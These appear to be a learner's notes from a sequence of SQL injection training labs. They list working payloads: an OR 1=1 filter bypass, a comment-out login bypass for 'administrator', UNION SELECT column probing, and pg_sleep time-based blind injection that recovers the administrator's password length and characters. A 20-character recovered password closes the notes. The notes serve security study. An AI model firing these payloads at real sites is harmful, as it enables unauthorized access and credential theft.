Lab 1

'+OR+1=1-- (put in get for show all items)

Lab 2

Administrator’-- (database login put intercept on if you know the username is administrator put Administrator’-- password any you can put )

Lab 3

To find out how many column in databses.

'+UNION+SELECT+NULL,NULL,NULL-- (Null one column two null means 2 column put until without getting error)

Lab 4

'+UNION+SELECT+'a',NULL,NULL-- ( replacing each null with the random value to find out which column have data)

Lab 5

Check Time delay response is working or not

TrackingId=x'||pg\_sleep(10)—

Lab 6

1, check time delay response is working or not

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END—

2, to check to response immediately

TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END—

3, confirming that there is a user called administrator.

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users—

4, how many characters in password

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users—

Action-sendtointruder – intruder – ad$ - payload – attack

20 letter

5, charcter find out

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--

Action-sendtointruder – intruder – ad$ - payload – attack

vr49x366207itskrhirm